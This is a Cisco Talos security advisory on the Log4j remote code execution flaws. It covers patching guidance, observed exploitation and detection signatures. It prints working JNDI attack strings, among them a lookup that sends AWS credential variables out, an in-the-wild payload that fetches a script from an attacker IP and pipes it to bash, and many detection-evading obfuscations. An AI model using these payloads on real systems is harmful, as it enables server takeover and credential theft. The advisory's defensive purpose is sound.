Update History

Update Dec. 21, 2021

Cisco Talos is releasing updates to Snort SIDs: 58722-58744, 58751, 58784-58790, 58795, 58801, 58811-58814 to address CVE-2021-44228/CVE-2021-45046/CVE-2021-45105, an RCE vulnerability in the Apache Log4j API.

Cisco Talos has also released an update for ClamAV signature: Java.Malware.CVE_2021_44228-9915816-1 and a new signature: PUA.Java.Tool.CVE_2021_44228-9916978-0 for threats exploiting these vulnerabilities. Please refer to the “Coverage” section for a comprehensive list of protections and signatures.

Summary

A critical remote code execution vulnerability in the popular Apache Foundation Log4j library continues to be exploited across the internet, as organizations scramble to patch for this widespread issue. If an attacker exploits this, they could completely take control of an affected server. It can be leveraged in default configurations by an unauthenticated remote attacker to target applications that make use of the Log4j library. This vulnerability, tracked as CVE-2021-44228, received a CVSS severity score of a maximum 10.0, and is widely believed to be easy to exploit.

Apache Foundation Log4j is a logging library designed to replace the built-in log4j package. It is often used in popular Java projects, such as Apache Struts 2 and Apache Solr.

Likewise, this library may also be used as a dependency by a variety of web applications found in enterprise environments, including Elastic. Due to the nature of this vulnerability, Cisco Talos believes this will be a widely exploited vulnerability among attackers moving forward, and users should patch affected products and implement mitigation solutions as soon as possible.

Cisco Talos Incident Response (CTIR) is currently supporting retainer customers in regards to attacker activity related to the current log4j vulnerabilities. CTIR recommends organizations update incident response plans, playbooks or a tabletop exercise (TTX) to test the organization's ability to respond to such incidents.

For details related to how this vulnerability affects Cisco products, please see the information here.

For information related to Cisco's global response, read more here.

For a timeline of events related to these vulnerabilities, click here.

For vulnerability details, click here.

For the latest mitigation guidance, click here.

For the latest guidance for developers, click here.

For information about ongoing exploitation activity, click here.

For the latest coverage information, click here.

For updated indicators of compromise, click here.

Timeline

Vulnerability details

This vulnerability exists in the JNDI component of the LDAP connector, which allows an attacker to retrieve a payload from a remote server and execute it locally. Several proof-of-concepts and vulnerability walkthroughs have already been published. This vulnerability can be triggered to retrieve and execute a malicious class file. It resides in the Java Naming and Directory Interface (JNDI) implementation and can be triggered using an LDAP request like the example below.

  ${jndi:ldap://attacker_controled_website/payload_to_be_executed}

CISA has also released guidance for CVE-2021-44228. Additionally, CISA has issued an emergency directive related to log4j.

The Kenna Risk Score for CVE-2021-44228 was initially a 93 of out 100, an exceptionally rare score reflecting the severity and potential impact of this vulnerability. This score is being continually re-evaluated and may shift over time. For instance as of 12/17/2021 it had a score of 87. Many factors go into this scoring and changes in the landscape, behaviors from actors, or new discoveries related to the vulnerability can impact its score.

${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.${env:AWS_SECRET_ACCESS_KEY}.<domain>}

A denial of service vulnerability, CVE-2021-45105 was disclosed on December 16, 2021. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. It is recommended that affected users upgrade to log4j 2.17.0 to mitigate this vulnerability.

CVE-2021-44832 requires an attacker to successfully modify the configuration of systems running log4j 2.17.0 for the vulnerability to be exploitable. Exploitation is then consistent with other identified vulnerabilities and can be detected by previously released coverage. Please refer to the “Coverage” section for additional details.

Mitigation

Current guidance

Despite there being some confusion about the increasing number of vulnerabilities related to the original Log4j security flaw, our advice to users and network defenders remains the same. For the largest segment of users, JNDI represents an unnecessary risk, so we suggest disabling this feature so that this threat surface is unavailable. Therefore, we recommend upgrading to Log4j 2.17.0 — the latest version — which disables JNDI by default.

Log4j 2.17.0 is the most recent patch Apache has released. It fixes CVE-2021-44228, CVE-2021-45046, and CVE-2021-45105 by:

• Disabling JNDI by default and limiting the default protocols to Java, LDAP, and LDAPS.
• Requiring the log4j2.enableJndi system property to be set to true to allow JNDI.
• Completely removing support for Message Lookups.
• Protecting from infinite recursion in lookup evaluation to prevent denial of service attacks

Talos encourages all customers to investigate their internal and third-party usage of Log4j for vulnerable configurations and take remediation actions. If you are uncertain or unable to determine if your implementation is vulnerable, patch aggressively. Given the risk of third-party appliances that include Log4j, we also recommend that customers and partners conduct routine vulnerability scanning and engage in conversations with vendors, partners and suppliers for additional mitigation support.

For those users that are running Java 7, apache has released log4j 2.12.2. This update features the same mitigation(s) as log4j 2.16.0 and resolves CVE-2021-44228 and CVE-2021-45046. Those users running Java 7 are encouraged to upgrade to this version.

Earlier patch proves insufficient

Apache released Log4j version 2.15.0, which was found to be insufficient and vulnerable to exploitation in certain configurations. This led to the release of CVE-2021-45046 to account for the incomplete fix.

Based on the discovery that the original patch did not completely safeguard against exploitation, some of the previously recommended mitigation measures have since become insufficient, including the guidance below regarding disabling message lookups:

• Setting system property log4j2.formatMsgNoLookups or environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true for versions 2.10 and greater.
• Modifying the logging configuration to disable message lookups with %m{nolookups}, %msg{nolookups} or %message{nolookups} for releases beginning 2.7 up to and including 2.14.1.

Despite users implementing these changes, there are still code paths in Log4j where message lookups could occur. Known examples are applications that use Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors as well.

Third vulnerability issued; Talos guidance unchanged

On Dec. 14, an additional vulnerability, CVE-2021-4104, was issued to address a flaw in another component of Log4j, JMSAppender. Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default, potentially making this less worrisome. Log4j 1.2 is currently end of life as of August 2015 and no longer receiving updates. Consistent with our guidance above, we recommended that affected users upgrade to Log4j 2.17.0 to mitigate this vulnerability.

AppDynamics with Cisco Secure Application, which is integrated into AppDynamics Java APM agents, protects environments by:

• Identifying libraries being used by code during runtime.
• Detecting vulnerabilities in these libraries and attacks by monitoring runtime behavior and
• Protecting systems with configurable policies to block exploit behavior at runtime.

Additional steps to secure your environment using AppDynamics with Cisco Secure Application are provided here.

A YARA rule for a quick log check can be found here.

Cisco has released additional resources to aid in the detection of exploit attempts against CVE-2021-44228. The details can be found here.

Guidance for Developers

Cisco Talos' guidance to developers in the process of assessing their own applications leveraging the Log4j framework is to consider upgrading to version 2.17.0 their primary remediation measure. While case-by-case evaluation and remediation of specific, at-risk code sections may be possible, it is our experience that this puts developers at unnecessary risk of under-assessing the extent to which their applications may be affected — we believe it is simply safer to patch. Some of the considerations necessary for accurately assessing the effects on an application may be more readily apparent only to those with an in-depth security background.

Several factors that may complicate this effort are:

Known Vectors

There is no single, universal place that an application will be vulnerable. Anywhere an application is logging user-controlled data via Log4j should be evaluated as a legitimate vector. This could manifest as anything from logging user-controlled URIs, incoming user agents and POST parameters, user-provided files, and so forth. In many cases, there may even be several layers of indirection between the ingest of a user-influenced value and its use by the Log4j framework, further complicating the task of assessing the risk of a particular pathway.

Furthermore, as more information becomes available, additional vectors may be discovered that render previous assumptions surrounding safe and unsafe code invalid, as is demonstrated by the disclosures of CVE-2021-45046 and CVE-2021-4104.

Normalization

Due to the range of allowable application-specific encodings, features, and formats that may be available to the attacker in crafting an exploit to trigger this vulnerability, pattern-based approaches to identify and sanitize offending permutations of user-supplied data may be patchwork and incomplete at best. New potential evasions are discovered daily, and application-specific evasions may be difficult to fully inventory and without a specialized security background.

Third-Party Dependencies

Developers may judge their applications making direct use of Log4j not to be vulnerable:, however, third-party libraries dependent on the framework are at risk. For example, Apache Tika has a potential vector to trigger this vulnerability by means of a specially crafted HWP file, so applications relying on this toolkit to extract metadata from files may also be vulnerable.

CISA is currently maintaining a public list of affected products here.

Identifying vulnerable applications

CVE-2021-44228
CVE-2021-45046

We recommend developers of any applications making use of Log4j below version 2.17.0 logging user-supplied content take immediate steps to upgrade to version 2.17.0. We also recommend developers assess all third-party dependencies for use of Log4j and upgrade accordingly.

CVE-2021-4104

There is an additional vector for this vulnerability affecting version 1.2 of Log4j via JMSAppender. This vector requires JMSAppender to be enabled and the attacker to provide configurations for TopicBindingName and TopicConnectionFactoryBindingName.

Support for version 1.2 of Apache Log4j reached end- of- life in August 2015. We do not recommend publishing software or devices relying on end-of-life software and urge developers to immediately begin the process of adapting and upgrading to 2.17.0.

CVE-2021-45105

There is a denial-of-service vulnerability associated with infinite recursion that affects multiple versions of log4j including 2.16.0. Given this, we advise all to update to the newest version 2.17.0 to mitigate that risk.

Ongoing exploitation activity

Earliest observed activity

While Talos has observed attacker activity related to CVE-2021-44228 beginning Dec. 2, 2021, there are unverified reports of threat activity dating back to as early as Dec. 1. We strongly recommend that organizations backdate their analysis at least several weeks and expand hunting efforts to scan for exploit activity that may have occurred well before these dates.

Cisco Talos is aware of active exploitation of the vulnerabilities associated with Log4j. This includes activity from miners, other financially motivated attackers, and reports of nation state actors. We've observed widespread activity in our honeypots and telemetry sources. Below is an example of one of the exploitation attempts we observed in the wild.

${jndi:ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9bdmljdGltIElQXTpbdmljdGltIHBvcnRdfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0L1t2aWN0aW0gSVBdOlt2aWN0aW0gcG9ydF0pfGJhc2gK}

The Base64-encoded data in the previous example is responsible for the delivery and execution of additional malicious payloads, an example of which is shown below.

(curl -s 45.155.205[.]233[:]5874/[victim IP]:[victim port]||wget -q -O- 45.155.205[.]233[:]5874/[victim IP]:[victim port])|bash

It is also important to note that we have observed other protocols used to retrieve malicious payloads in our telemetry. Be aware that attackers may also use LDAP(S), RMI, DNS, NIS, IIOP, CORBA, NDS and HTTP.

In many cases, following successful exploitation, victims are being infected with cryptocurrency mining malware, but we have seen a variety of other payloads including the Mirai botnet and other various payloads.

This exploit is following a pattern we commonly see in vulnerabilities that emerge unexpectedly. Scattered early incidents from unknown actors have already been observed by looking back in telemetry and demonstrate early adoption by coin miners and botnets. If the pattern holds — and we expect it to — many actors with different objectives, ranging from financial to espionage, will rapidly adopt this exploit in the coming days to secure access for immediate use, resale or long-term footholds.

Cisco Talos has also observed a lead time between attackers' mass-scans and the callbacks from vulnerable systems. This may indicate that the exploit is being triggered as it makes its way through an affected enterprise's infrastructure and is processed by internal systems (log collection systems, SIEMs, etc.) that may be completely separate from the intended target system. Vulnerable inspection, event collection, or logging systems along the communications path may also trigger the exploit, which could result in a callback out to the attacker infrastructure, even in cases where the intended target is not vulnerable. It is also likely that internal vulnerable systems may be targeted with post-compromise activity for lateral movement within the affected enterprise.

Below is an example of Cisco Secure Endpoint detection related to activity associated with the delivery of the Kinsing cryptocurrency miner.

Cisco Talos has also confirmed Log4j exploitation activity that resulted in connections to previously known Cobalt Strike servers, a common precursor to ransomware attacks.

Emerging obfuscations

We have observed a wide variety of obfuscations being used in JNDI lookups to evade pattern-based detection mechanisms that may have been deployed.

JNDI allows the use of a combination of obfuscation techniques ranging from splitting keywords, protocol names and remote locations to using uppercase and lowercase characters. Some examples include:

j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}attacker_controled_website/payload_to_be_executed}
j${loWer:Nd}i${uPper::}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker_controled_website/payload_to_be_executed }
${jndi:${lower:l}${lower:d}a${lower:p}://attacker_controled_website/payload_to_be_executed}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker_controled_website/payload_to_be_executed}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker_controled_website/payload_to_be_executed}
${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}attacker_controled_website/payload_to_be_executed}
${jndi:${lower:l}${lower:d}ap://attacker_controled_website/payload_to_be_executed}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://attacker_controled_website/payload_to_be_executed}
${${::-j}ndi:
${${::-j}nd${::-i}:
${en${lower:v}:ENV_NAME:-j}
${lower:${upper:${lower:${upper:${lower:${upper:${lower:${upper:${lower:${upper:${lower:${upper:${lower:j}}}}}}}}}}}}}
${lower:d}${lower:n}${lower:s}://$
${${::-${::-$${::-j}}}}

We have also observed attempts to evade detection by using unicode "look-alike" characters similar to the example below where the value of "i" has been replaced by the unicode character U+0131:

${jnd${upper:ı}:ldap:URL}

Additional threat vectors

Log4j is commonly used in a wide variety of software running on systems in addition to traditional web servers, meaning it is critical not to rule out other vectors of exploitation. This includes devices inspecting various types of communications between an attacker and victim system, which could result in compromise. As mitigations are employed by defenders and as the situation evolves, adversaries will look for new and previously unobserved attack vectors. In this section, we will discuss some of the vectors we have seen abused.

Cisco Talos has observed the use of email-based threats attempting to exploit CVE-2021-44228. Messages may also contain malicious JNDI lookups at different locations such as headers, subject lines and bodies of emails.

Although we have seen attempts to place the JNDI attack string in email, at this time we have not identified widespread email campaigns attempting to use email messages to trigger the vulnerability. It is potentially recon as many threat actors and researchers are essentially trying everything in an attempt to find something that eventually hits log4j.

We have also observed a variety of other locations being used to embed JNDI lookups attempting to exploit this vulnerability such as:

• Metadata in file types such as JPEG, OOXML.
• Relationship templates (e.g. "xml.rels") used in OOXML documents.
• Embedded in web pages.

JNDI lookup embedded in a relational template used by Open Office-based documents.

We've also observed attackers embedding JNDI lookups in HTML webpages as well. The websites we analyzed have likely been compromised through commonly vulnerable CMS platforms. In the example below, the JNDI lookup string has been embedded in a hidden form field present on a website and may not be visible when the victim browses the affected page. We've observed multiple methods used to embed the content into various web pages, such as changing the destination URL within an existing hyperlink to one containing the exploit.

Malicious JNDI lookup embedded in an HTML web page.

Additionally, we have observed attempts to execute a malicious Java class that invokes PowerShell and attempts to perform environment enumeration using an ADSISearcher to query information about the domain environment in which the victim is located. The collected information is then exfiltrated via an outbound HTTP connection to an attacker-controlled server. This activity is consistent with what is commonly performed leading up to the deployment of ransomware.

This demonstrates the varied approaches attackers are now taking in trying to find ways to force malicious input into various vulnerable applications that may exist in target environments. We will likely continue to see new techniques leveraged for this purpose moving forward.

Coverage

Ways our customers can detect and block this threat are listed below.

Please note that previously released coverage for CVE-2021-44228 also applies to CVE-2021-45046.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Malware Analytics (formerly Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Firepower Threat Defense (FTD), Firepower Device Manager (FDM), Threat Defense Virtual, Adaptive Security Appliance can detect malicious activity associated with this threat.

Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.
For guidance on using Cisco Secure Analytics to respond to this threat, please click here.

Meraki MX appliances can detect malicious activity associated with this threat.

Umbrella, Secure Internet Gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. The following Snort SIDs have been released to detect exploitation attempts targeting CVE-2021-44228: 58722-58744, 58784-58790, 58795, 58801-58814, 300055-300058. Cisco Talos has also released Snort SID 58751 to address SMTP-based vectors.

There are also ClamAV signatures available:

• Java.Exploit.JNDIExploitTool-9915821-0
• Java.Exploit.Log4jPayloadGenerator-9915809-0
• Java.Malware.CVE_2021_44228-9915330-1
• Java.Malware.CVE_2021_44228-9915812-0
• Java.Malware.CVE_2021_44228-9915813-0
• Java.Malware.CVE_2021_44228-9915814-2
• Java.Malware.CVE_2021_44228-9915818-0
• Java.Malware.CVE_2021_44228-9915819-0
• Java.Malware.CVE_2021_44228-9915820-0
• Java.Malware.CVE_2021_44228-9915970-1
• Multios.File.CVE_2021_44228-9915971-3
• Multios.File.CVE_2021_44228-9915972-1
• Hwp.File.CVE_2021_44228-9916186-1
• Hwp.File.CVE_2021_44228-9916187-1
• Java.Malware.CVE_2021_44228-9916188-0
• Java.Malware.CVE_2021_44228-9916189-0
• Java.Malware.CVE_2021_44228-9916190-0
• Java.Malware.CVE_2021_44228-9915816-1

Additional ClamAV signatures related to malware activity associated with ongoing exploitation campaigns are:

• Multios.Coinminer.Miner-6781728-2
• PUA.Unix.Coinminer.XMRig-6683890-0
• PUA.Unix.File.Metasploit-7646224-0
• PUA.Unix.File.Metasploit-9753187-0
• PUA.Unix.File.Metasploit-9810624-0
• Txt.Coinminer.XMRig-9915822-0
• Txt.Malware.Sustes-6779550-1
• Txt.Trojan.XMRig-9915823-0
• Unix.Downloader.Rocke-6826000-0
• Unix.Exploit.Mirai-7373241-0
• Unix.Malware.Mirai-9914842-0
• Unix.Malware.Mirai-9914843-0
• Unix.Malware.Setag-9753632-0
• Unix.Malware.Tsunami-9915807-0
• Unix.Trojan.Agent-37008
• Unix.Trojan.Generic-9840604-0
• Unix.Trojan.Generic-9840605-0
• Unix.Trojan.Generic-9908886-0
• Unix.Trojan.Mirai-9840610-0
• Unix.Trojan.Muhstik-7555544-0
• Win.Coinminer.Generic-7151250-0
• Win.Coinminer.Generic-7151253-0
• Win.Coinminer.Generic-7151447-0
• Win.Coinminer.Generic-7151972-0
• Win.Coinminer.Generic-7155777-0
• Win.Coinminer.Generic-7158858-0
• Win.Trojan.Khonsari-9915806-0
• Win.Trojan.PowershellReverseShellOneLine-9840826-0
• PUA.Java.Tool.CVE_2021_44228-9916978-0 Cisco Secure Endpoint Cloud IOCs are updated to include the following new detections:
• Linux.PossibleKinsingMalware.ioc
• W32.PossibleTomcatLog4ShellExploit.ioc

For more detailed information on how Secure Firewall and Secure IPS can be used to help mitigate this threat, please refer to the blog here.

For Cisco customers leveraging Orbital, new queries have been released to help identify both Linux and Windows systems that may be impacted by these vulnerabilities.

Cisco Talos has also provided queries for customers leveraging Orbital to find vulnerable versions of Log4j:

• CVE-2021-44228 in deb packages.
• CVE-2021-44228 in npm packages.
• CVE-2021-44228 in rpm packages.

A query for the Khonsari ransomware family that is currently exploiting the log4j vulnerabilities is also available here.

Cisco customers can use Global Threat Alerts to identify malicious activity associated with these vulnerabilities to detect ongoing vulnerability scans and malware installation attempts. For more information please click here and here.

Indicators of Compromise (IOCs)

The following indicators of compromise are associated with observed exploitation activity targeting CVE-2021-44228.

New IOCs for Dec. 21, 2021 can be found here.

New IOCs for Dec. 20, 2021 can be found here.

New IOCs for Dec. 17, 2021 can be found here.

New IOCs for Dec. 16, 2021 can be found here.

Previously identified IOCs can be found here.